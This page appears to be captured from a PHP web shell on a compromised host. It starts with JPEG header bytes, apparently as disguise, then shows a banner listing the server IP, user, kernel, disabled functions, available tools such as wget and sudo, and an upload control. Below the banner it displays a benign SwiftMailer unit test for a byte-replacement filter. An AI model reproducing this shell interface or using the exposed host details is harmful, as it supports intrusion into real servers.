ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.145.52.253 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/swiftmailer/swiftmailer/tests/unit/Swift/StreamFilters/ |
Upload File : |
<?php class Swift_StreamFilters_ByteArrayReplacementFilterTest extends \PHPUnit\Framework\TestCase { public function testBasicReplacementsAreMade() { $filter = $this->createFilter([0x61, 0x62], [0x63, 0x64]); $this->assertEquals( [0x59, 0x60, 0x63, 0x64, 0x65], $filter->filter([0x59, 0x60, 0x61, 0x62, 0x65]) ); } public function testShouldBufferReturnsTrueIfPartialMatchAtEndOfBuffer() { $filter = $this->createFilter([0x61, 0x62], [0x63, 0x64]); $this->assertTrue($filter->shouldBuffer([0x59, 0x60, 0x61]), '%s: Filter should buffer since 0x61 0x62 is the needle and the ending '. '0x61 could be from 0x61 0x62' ); } public function testFilterCanMakeMultipleReplacements() { $filter = $this->createFilter([[0x61], [0x62]], [0x63]); $this->assertEquals( [0x60, 0x63, 0x60, 0x63, 0x60], $filter->filter([0x60, 0x61, 0x60, 0x62, 0x60]) ); } public function testMultipleReplacementsCanBeDifferent() { $filter = $this->createFilter([[0x61], [0x62]], [[0x63], [0x64]]); $this->assertEquals( [0x60, 0x63, 0x60, 0x64, 0x60], $filter->filter([0x60, 0x61, 0x60, 0x62, 0x60]) ); } public function testShouldBufferReturnsFalseIfPartialMatchNotAtEndOfString() { $filter = $this->createFilter([0x0D, 0x0A], [0x0A]); $this->assertFalse($filter->shouldBuffer([0x61, 0x62, 0x0D, 0x0A, 0x63]), '%s: Filter should not buffer since x0Dx0A is the needle and is not at EOF' ); } public function testShouldBufferReturnsTrueIfAnyOfMultipleMatchesAtEndOfString() { $filter = $this->createFilter([[0x61, 0x62], [0x63]], [0x64]); $this->assertTrue($filter->shouldBuffer([0x59, 0x60, 0x61]), '%s: Filter should buffer since 0x61 0x62 is a needle and the ending '. '0x61 could be from 0x61 0x62' ); } public function testConvertingAllLineEndingsToCRLFWhenInputIsLF() { $filter = $this->createFilter( [[0x0D, 0x0A], [0x0D], [0x0A]], [[0x0A], [0x0A], [0x0D, 0x0A]] ); $this->assertEquals( [0x60, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x63], $filter->filter([0x60, 0x0A, 0x61, 0x0A, 0x62, 0x0A, 0x63]) ); } public function testConvertingAllLineEndingsToCRLFWhenInputIsCR() { $filter = $this->createFilter( [[0x0D, 0x0A], [0x0D], [0x0A]], [[0x0A], [0x0A], [0x0D, 0x0A]] ); $this->assertEquals( [0x60, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x63], $filter->filter([0x60, 0x0D, 0x61, 0x0D, 0x62, 0x0D, 0x63]) ); } public function testConvertingAllLineEndingsToCRLFWhenInputIsCRLF() { $filter = $this->createFilter( [[0x0D, 0x0A], [0x0D], [0x0A]], [[0x0A], [0x0A], [0x0D, 0x0A]] ); $this->assertEquals( [0x60, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x63], $filter->filter([0x60, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x63]) ); } public function testConvertingAllLineEndingsToCRLFWhenInputIsLFCR() { $filter = $this->createFilter( [[0x0D, 0x0A], [0x0D], [0x0A]], [[0x0A], [0x0A], [0x0D, 0x0A]] ); $this->assertEquals( [0x60, 0x0D, 0x0A, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x0D, 0x0A, 0x63], $filter->filter([0x60, 0x0A, 0x0D, 0x61, 0x0A, 0x0D, 0x62, 0x0A, 0x0D, 0x63]) ); } public function testConvertingAllLineEndingsToCRLFWhenInputContainsLFLF() { //Lighthouse Bug #23 $filter = $this->createFilter( [[0x0D, 0x0A], [0x0D], [0x0A]], [[0x0A], [0x0A], [0x0D, 0x0A]] ); $this->assertEquals( [0x60, 0x0D, 0x0A, 0x0D, 0x0A, 0x61, 0x0D, 0x0A, 0x0D, 0x0A, 0x62, 0x0D, 0x0A, 0x0D, 0x0A, 0x63], $filter->filter([0x60, 0x0A, 0x0A, 0x61, 0x0A, 0x0A, 0x62, 0x0A, 0x0A, 0x63]) ); } private function createFilter($search, $replace) { return new Swift_StreamFilters_ByteArrayReplacementFilter($search, $replace); } }